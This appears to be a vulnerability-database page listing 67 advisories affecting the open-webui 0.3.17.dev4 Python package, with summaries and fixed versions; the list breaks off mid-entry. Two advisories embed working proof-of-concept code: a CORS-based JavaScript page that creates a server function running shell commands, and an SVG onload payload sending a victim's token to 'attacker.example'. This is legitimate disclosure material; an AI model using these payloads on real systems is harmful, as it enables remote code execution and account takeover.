Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:pypi/open-webui@0.3.17.dev4
purl pkg:pypi/open-webui@0.3.17.dev4
Next non-vulnerable version 0.9.5
Latest non-vulnerable version 0.9.5
Risk 4.5
Vulnerabilities affecting this package (67)
Vulnerability Summary Fixed by
VCID-14xt-qwyg-w3cj
Aliases:
CVE-2026-44552
GHSA-3x8w-4f7p-xxc2
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the tool_servers and terminal_servers keys in utils/tools.py do use a prefix. When two or more Open WebUI instances share a Redis database (a supported and documented deployment pattern, e.g., for multi-region deployments, blue-green setups, or cluster topologies), the unprefixed keys collide. An admin on Instance A writing to tool_servers overwrites the value read by Instance B — causing Instance B's users to receive Instance A's tool server configuration. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-1g27-4vq6-7kdz
Aliases:
CVE-2026-45386
GHSA-5gc6-xhv4-2wg6
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message. This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-1svn-zazq-e3f2
Aliases:
CVE-2026-45347
GHSA-f776-fp4w-266c
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.11, there is a blind server side request forgery (SSRF) via the PDF generate function. In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below. This vulnerability is fixed in 0.5.11.
0.5.11
Affected by 61 other vulnerabilities.
VCID-1tu1-b9de-nfaa
Aliases:
CVE-2026-45385
GHSA-wwhq-cx22-f7vv
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-2rs8-62x1-s7h7
Aliases:
CVE-2026-45299
GHSA-6gh2-q7cp-9qf6
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, the profile_image_url field on the user profile update form accepted arbitrary data: URI values without MIME-type validation, resulting in a XSS vulnerability. This vulnerability is fixed in 0.8.0.
0.8.0
Affected by 49 other vulnerabilities.
VCID-2xdz-v8cw-fygv
Aliases:
CVE-2026-44556
GHSA-hp5m-24vp-vq2q
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the /responses endpoint in the OpenAI router accepts any authenticated user and forwards requests directly to upstream LLM providers without enforcing per-model access control. While the primary chat completion endpoint (generate_chat_completion) checks model ownership, group membership, and AccessGrants before allowing a request, the /responses proxy only validates that the user has a valid session via get_verified_user. This allows any authenticated user to interact with any model configured on the instance by sending a POST request to /api/openai/responses with an arbitrary model ID. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-32yb-vsfs-43a8
Aliases:
CVE-2026-44561
GHSA-hmgr-67hw-j2cq
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the is_user_channel_member function checks whether a ChannelMember row exists but does not check the is_active field. When a user is deactivated from a group or DM channel (removed by the channel owner, or leaves voluntarily), their membership row persists with is_active=False and status='left'. Because the authorization check ignores this field, the deactivated user retains full read and write access to the channel via direct API calls. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-3436-znsq-guds
Aliases:
CVE-2026-45399
GHSA-8jjp-r2w2-4v22
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, any authenticated user with low privileges can enumerate active background tasks across the system and stop tasks belonging to other users via the GET /api/tasks and POST /api/tasks/stop/{task_id} methods. This allows a casual user to disrupt system-wide chat usage by continuously canceling other users' active tasks. This is a real authorization vulnerability affecting integrity and usability in multi-user deployments. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-3hv8-ys1d-63a6
Aliases:
CVE-2024-12534
GHSA-g3mx-83mp-3rwc
In version v0.3.32 of open-webui/open-webui, the application allows users to submit large payloads in the email and password fields during the sign-in process due to the lack of character length validation on these inputs. This vulnerability can lead to a Denial of Service (DoS) condition when a user submits excessively large strings, exhausting server resources such as CPU, memory, and disk space, and rendering the service unavailable for legitimate users. This makes the server susceptible to resource exhaustion attacks without requiring authentication.
0.3.33.dev1
Affected by 65 other vulnerabilities.
VCID-4rz6-hw32-jueb
Aliases:
CVE-2026-29070
GHSA-26gm-93rw-cchf
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, an access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id). Version 0.8.6 patches the issue.
0.8.6
Affected by 43 other vulnerabilities.
VCID-4sn4-mrbm-dfgh
Aliases:
CVE-2024-8060
GHSA-ff5c-56m7-vc75
OpenWebUI version 0.3.0 contains a vulnerability in the audio API endpoint `/audio/api/v1/transcriptions` that allows for arbitrary file upload. The application performs insufficient validation on the `file.content_type` and allows user-controlled filenames, leading to a path traversal vulnerability. This can be exploited by an authenticated user to overwrite critical files within the Docker container, potentially leading to remote code execution as the root user.
0.5.17
Affected by 60 other vulnerabilities.
VCID-4v8w-kv6g-kkbc
Aliases:
CVE-2026-45402
GHSA-r472-mw7m-967f
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, multiple endpoints accept a user-supplied file_id and attach the referenced file to a resource the caller controls (folder knowledge, knowledge-base contents) without verifying that the caller owns or has been granted access to the file. The file's content then becomes reachable through the downstream RAG / file-content paths, allowing any authenticated user to exfiltrate any other user's private file — and on the knowledge-base path, also to overwrite it — given knowledge of the file's UUID. This affects backend/open_webui/routers/folders.py (POST /api/v1/folders/{id}/update), backend/open_webui/routers/knowledge.py (add_file_to_knowledge_by_id), and backend/open_webui/routers/knowledge.py (add_files_to_knowledge_by_id_batch). This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-4x63-8x64-d3bq
Aliases:
CVE-2026-45400
GHSA-8w7q-q5jp-jvgx
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability. This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-5319-t7jm-y3bx
Aliases:
CVE-2026-44550
GHSA-hr43-rjmr-7wmm
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, FolderForm uses model_config = ConfigDict(extra='allow'), which permits arbitrary fields to pass through Pydantic validation and be included in model_dump(exclude_unset=True). In insert_new_folder, the server-assigned user_id is placed at the start of the dict and then overwritten by the spread of form data. Because FolderModel declares user_id: str as a real field (not just a form extra), any attacker-supplied user_id in the POST body is accepted by the model and persisted on the Folder row. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-5jna-wvd7-j7cm
Aliases:
CVE-2026-45397
GHSA-65pg-qhhw-mxwg
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, GET /api/v1/retrieval/ returns live RAG pipeline configuration to any unauthenticated HTTP client. No Authorization header, cookie, or API key is required. Every adjacent endpoint on the same router (/embedding, /config) is correctly guarded by get_admin_user making this a targeted omission. This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-5wfg-zqcy-c7ar
Aliases:
CVE-2026-45317
GHSA-j6w6-986j-2m2m
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, an application-wide Cross-Site Request Forgery (CSRF) vulnerability was found Open-WebUl's image uploading functionality. An attacker can set an image URL to a malicious endpoint, allowing them to perform actions on behalf of a victim user. Any authenticated user can exploit this vulnerability, and any user who views the compromised image (e.g., a profile picture) will unknowingly send a GET request to the attacker-controlled URL. This can lead to cookie theft, denial of service (DoS), or other malicious actions. This vulnerability is fixed in 0.9.3.
0.9.3
Affected by 10 other vulnerabilities.
VCID-5wzn-mfwg-ybc3
Aliases:
CVE-2026-44558
GHSA-7rjh-px4v-5w55
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the channel router does not call filter_allowed_access_grants on either create or update paths. A non-admin user who can create group channels (or who owns a channel) can submit arbitrary access grants — including public wildcard grants — and those grants are stored verbatim, bypassing the admin's permission framework. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-66zh-9jk7-9bfx
Aliases:
CVE-2026-45667
GHSA-m69w-p7m4-585j
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, GET /api/v1/memories/ef is accessible without authentication and executes request.app.state.EMBEDDING_FUNCTION(...). This allows any unauthenticated caller to trigger embedding generation which can lead to direct cost exposure if a paid provider is used. This vulnerability is fixed in 0.8.0.
0.8.0
Affected by 49 other vulnerabilities.
VCID-68jf-2utx-x7br
Aliases:
GHSA-6xcp-7mpr-m7wm
Open WebUI has a CORS misconfiguration and session validation issue # GitHub Security Lab (GHSL) Vulnerability Report, open-webui: `GHSL-2024-174`, `GHSL-2024-175` The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [open-webui](https://github.com/open-webui/open-webui). We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team. If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2024-174` or `GHSL-2024-175` as a reference). See also [this blog post](https://github.blog/2022-04-22-removing-the-stigma-of-a-cve/) written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure. If you are _NOT_ the correct point of contact for this report, please let us know! ## Summary Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container. ## Project open-webui ## Tested Version [v0.3.10](https://github.com/open-webui/open-webui/releases/tag/v0.3.10) ## Details ### Issue 1: CORS misconfiguration on multiple routers (`GHSL-2024-174`) CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the `/api/v1/functions` endpoint (admins) can execute arbitrary code on the openwebui instance. The following pattern occurs at the following routers: 1. [backend/apps/webui/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/webui/main.py#L92) 2. [backend/apps/audio/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/audio/main.py#L58) 3. [backend/apps/images/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/images/main.py#L60) 4. [backend/apps/rag/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/rag/main.py#L246) 5. [backend/apps/openai/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/openai/main.py#L47) 6. [backend/apps/ollama/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/ollama/main.py#L62) 7. [backend/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/main.py#L881) ```python app.add_middleware( CORSMiddleware, allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) ``` #### Impact This issue may lead to `Remote Code Execution`. #### Remediation The FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying `allow_origins=["*"]`. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as `"*"` or `"*.com"` #### Proof of Concept Host the following code on your website, `attacker.com`. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command `whoami` placed into a newly created file `/tmp/whoami.txt`. Ensure you have logged into an admin open-webui account ```javascript <body> <p>Click here to login.</p> <div id="response"></div> <script> //Firefox cross site cookie request bypass const url = 'http://localhost:3000/static/favicon.png'; document.addEventListener("DOMContentLoaded", () => { document.onclick = () => { open(url); filter_id = "okok" //Create a function/filter to write code fetch('http://localhost:3000/api/v1/functions/create', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ "id": filter_id, "name": "test2", "meta": {"description": "test2"}, "content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n class Valves(BaseModel):\n priority: int = Field(\n default=0, description=\"Priority level for the filter operations.\"\n )\n max_turns: int = Field(\n default=8, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n class UserValves(BaseModel):\n max_turns: int = Field(\n default=4, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n def __init__(self):\n # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n # Alternatively, you can remove the files directly from the body in from the inlet hook\n # self.file_handler = True\n\n # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n self.valves = self.Valves()\n f = open(\"/tmp/whoami.txt\", \"w\")\n import subprocess\n\n output = subprocess.getoutput(\"whoami\")\n f.write(output)\n f.close()\n pass\n\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n\n def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n" }), credentials: 'include' // This will send cookies from the origin }) .then(response => response.json()) .then(data => console.log(data)) .catch((error) => console.error('Error:', error)); //Toggle the filter to execute code fetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, { method: 'POST', credentials: 'include' // This will send cookies from the origin }) .then(response => response.json()) .then(data => console.log(data)) .catch((error) => console.error('Error:', error)); } }); </script> </body> ``` ### Issue 2: Failure to Invalidate Session on Logout (`GHSL-2024-175`) Openwebui fails to invalidate and clear session cookies after logout. In fact, it seems to reuse the same session cookies. This allows an attacker who has access to previous session cookie details to login at a later point as long as the victim has not closed their browser. This vulnerability is relevant to the above CORS issue because it no longer requires the user to be logged in to exploit. If the cookie had been properly invalidated/cleared, the CORS issue would only affect logged in users. #### Impact This issue may increase the impact of primitives gained from other security issues. #### Remediation For every session, new cookies should be generated. When a user logouts, the session cookies from the previous session should be invalidated and removed from the browser's storage. #### Resources [OWASP Recommendation On Sessions](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) ## GitHub Security Advisories We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). ## Credit These issues were discovered and reported by GHSL team member [@Kwstubbs (Kevin Stubbings)](https://github.com/Kwstubbs). ## Contact You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2024-174` or `GHSL-2024-175` in any communication regarding these issues. ## Disclosure Policy This report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).
0.3.33
Affected by 63 other vulnerabilities.
VCID-6rbm-rm25-hqgy
Aliases:
CVE-2026-45365
GHSA-v6qf-75pr-p96m
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.11, an internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models. This vulnerability is fixed in 0.8.11.
0.8.11
Affected by 39 other vulnerabilities.
VCID-7j5a-pu4k-kucf
Aliases:
CVE-2025-63681
GHSA-frv8-gffc-37px
open-webui v0.6.33 is vulnerable to Incorrect Access Control. The API /api/tasks/stop/ directly accesses and cancels tasks without verifying user ownership, enabling attackers (a normal user) to stop arbitrary LLM response tasks.
0.6.34
Affected by 55 other vulnerabilities.
VCID-7nbc-ng1s-suck
Aliases:
CVE-2026-29071
GHSA-w9f8-gxf9-rhvw
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, any authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`. Version 0.8.6 patches the issue.
0.8.6
Affected by 43 other vulnerabilities.
VCID-8n6u-wgz9-1bgj
Aliases:
CVE-2026-28786
GHSA-vvxm-vxmr-624h
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, an unsanitized filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message — including the server's absolute `DATA_DIR` path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments. Version 0.8.6 patches the issue.
0.8.6
Affected by 43 other vulnerabilities.
VCID-8nzh-cpda-dkca
Aliases:
CVE-2026-45316
GHSA-jx2x-j75f-xq3j
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.
0.9.3
Affected by 10 other vulnerabilities.
VCID-8qvj-xndv-v3ay
Aliases:
CVE-2024-7806
GHSA-85jc-8h5p-8vw8
A vulnerability in open-webui/open-webui versions <= 0.3.8 allows remote code execution by non-admin users via Cross-Site Request Forgery (CSRF). The application uses cookies with the SameSite attribute set to lax for authentication and lacks CSRF tokens. This allows an attacker to craft a malicious HTML that, when accessed by a victim, can modify the Python code of an existing pipeline and execute arbitrary code with the victim's privileges.
0.3.33
Affected by 63 other vulnerabilities.
VCID-8y4k-pj2n-8uhm
Aliases:
CVE-2026-45314
GHSA-3856-3vxq-m6fc
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. This vulnerability is fixed in 0.9.3.
0.9.3
Affected by 10 other vulnerabilities.
VCID-94nj-qkdf-xfhn
Aliases:
CVE-2025-65958
GHSA-c6xv-rcvw-v685
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. This vulnerability is fixed in 0.6.37.
0.6.37
Affected by 52 other vulnerabilities.
VCID-9jud-sr2a-8yc3
Aliases:
CVE-2026-44549
GHSA-jwf8-pv5p-vhmc
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger. This vulnerability is fixed in 0.8.0.
0.8.0
Affected by 49 other vulnerabilities.
VCID-9zyk-459z-x3a4
Aliases:
CVE-2026-45345
GHSA-gm54-m39w-grjp
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.7, a user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained. This vulnerability is fixed in 0.5.7.
0.5.7
Affected by 62 other vulnerabilities.
VCID-chug-ma8r-cucc
Aliases:
CVE-2026-44557
GHSA-6c2x-gcp3-gp73
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the _validate_collection_access function uses an incomplete allowlist that only enforces ownership checks for collections matching user-memory-* and file-* patterns. All other collection names pass through unchecked — including the system-level knowledge-bases meta-collection, which stores the IDs, names, and descriptions of every knowledge base on the instance. Any authenticated user can query this meta-collection directly via the retrieval query endpoints to obtain a global index of all knowledge bases across all users. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-cw4k-3s8z-uqh8
Aliases:
CVE-2026-45401
GHSA-rh5x-h6pp-cjj6
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-dz6g-jgmg-wqce
Aliases:
CVE-2026-45318
GHSA-hcwp-82g6-8wxc
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, his advisory tracks a regression of the original Excel-preview XSS (CVE-2026-44549). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again This vulnerability is fixed in 0.9.3.
0.9.3
Affected by 10 other vulnerabilities.
VCID-dzh3-rqx4-fqhv
Aliases:
CVE-2026-45398
GHSA-4g37-7p2c-38r9
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, _validate_collection_access() checks the user-memory-* and file-* collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (/process/text, /process/file, /process/files/batch, /process/web, /process/youtube), allowing an attacker to inject content into or overwrite another user's knowledge base. This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-ef1t-pxjm-j7cz
Aliases:
GHSA-3wgj-c2hg-vm6q
Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url # Summary When a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:<mime>;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`. The profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `<script>`/`onload` in the same origin and able to read `localStorage.token` → account takeover. Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path. # Details ## 1. MIME inferred from URL extension, not Content-Type `backend/open_webui/utils/oauth.py:1336-1345` — `_process_picture_url`: ```python response = await client.get(picture_url, ...) if response.status_code == 200: picture = response.content base64_encoded_picture = base64.b64encode(picture).decode("utf-8") guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = "image/jpeg" return f"data:{guessed_mime_type};base64,{base64_encoded_picture}" ``` No MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`. ## 2. OAuth path bypasses the profile-image validator `backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`. This validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged. ## 3. Endpoint serves attacker-controlled MIME with `inline` disposition `backend/open_webui/routers/users.py:504-528` — `get_user_profile_image_by_id`: ```python header, encoded = image.split(",", 1) media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml" data = base64.b64decode(encoded) return StreamingResponse( iter([data]), media_type=media_type, headers={"Content-Disposition": "inline"}, ) ``` No MIME whitelist. The route requires `get_verified_user` — any authenticated user reaches it. ## 4. No default CSP / nosniff `backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script. # PoC **Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL. 1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`: ```xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" /> ``` 2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker's `profile_image_url`. 3. Attacker shares a link to their own profile image with a victim in a chat DM or channel: ``` https://target.example/api/v1/users/<attacker-user-id>/profile/image ``` 4. The authenticated victim clicks the link. The browser receives `Content-Type: image/svg+xml` with `Content-Disposition: inline`, renders the SVG as a top-level document, fires `onload`, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account. # Impact - Account takeover of any authenticated user who opens the crafted URL. - Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has `workspace.tools` permission — RCE via installed tools (per CVE-2025-64496 analysis). - The same `_process_picture_url` function has no SSRF allowlist; a secondary primitive is to point the `picture` claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint. # Suggested fix 1. In `_process_picture_url` (`utils/oauth.py:1336-1345`): reject any MIME outside `{image/png, image/jpeg, image/gif, image/webp}`. Use the upstream `Content-Type` response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets. 2. In `get_user_profile_image_by_id` (`routers/users.py:504-528`): enforce a MIME whitelist before building `StreamingResponse`. This is the defense-in-depth layer that should have caught the bypass. 3. Apply `validate_profile_image_url` at the model/storage layer (`Users.update_user_profile_image_url_by_id`), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator. 4. Set `X-Content-Type-Options: nosniff` and a default CSP unless the operator explicitly disables them. # References - `backend/open_webui/utils/oauth.py:1318-1351` — MIME guess + fetch - `backend/open_webui/utils/oauth.py:1536-1574` — OAuth write path - `backend/open_webui/utils/validate.py:10-36` — validator (bypassed) - `backend/open_webui/models/users.py:575-588` — DB write - `backend/open_webui/routers/users.py:504-528` — serving endpoint - `backend/open_webui/utils/security_headers.py:16-61` — env-gated headers - CVE-2025-64496 — precedent: trust boundary error (same class) - CVE-2025-64495 — precedent: rich-text XSS (same class)
0.9.5
Affected by 0 other vulnerabilities.
VCID-gw77-ux3j-qfaa
Aliases:
CVE-2026-45303
GHSA-4vrc-m9ch-6m3r
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.5, through the HTML rendering view, scripts can be injected and executed. The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the allow-scripts allow-forms allow-same-origin sandbox directive. This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified. This vulnerability is fixed in 0.6.5.
0.6.5
Affected by 59 other vulnerabilities.
VCID-hj5f-yk3y-ffdg
Aliases:
CVE-2026-45387
GHSA-h2cw-7qw9-56xr
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, when setting model permissions so that a group has read access to it, intending for other users to use it, those users also can read the model's system prompt. However users may consider their system prompt confidential, so this is considered a security issue. This vulnerability is fixed in 0.9.5.
0.9.5
Affected by 0 other vulnerabilities.
VCID-jfs9-dps1-27a2
Aliases:
CVE-2026-45349
GHSA-gfm2-xm6c-37qc
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a user just needs to use the API endpoint: /api/chat/completions with their own API key (generated in OWUI) and the Chat ID of another user to continue the conversation of the other user. This vulnerability is fixed in 0.9.0.
0.9.0
Affected by 15 other vulnerabilities.
VCID-jnsg-u9dy-r3d5
Aliases:
CVE-2025-64495
GHSA-w7xj-8fx7-wfch
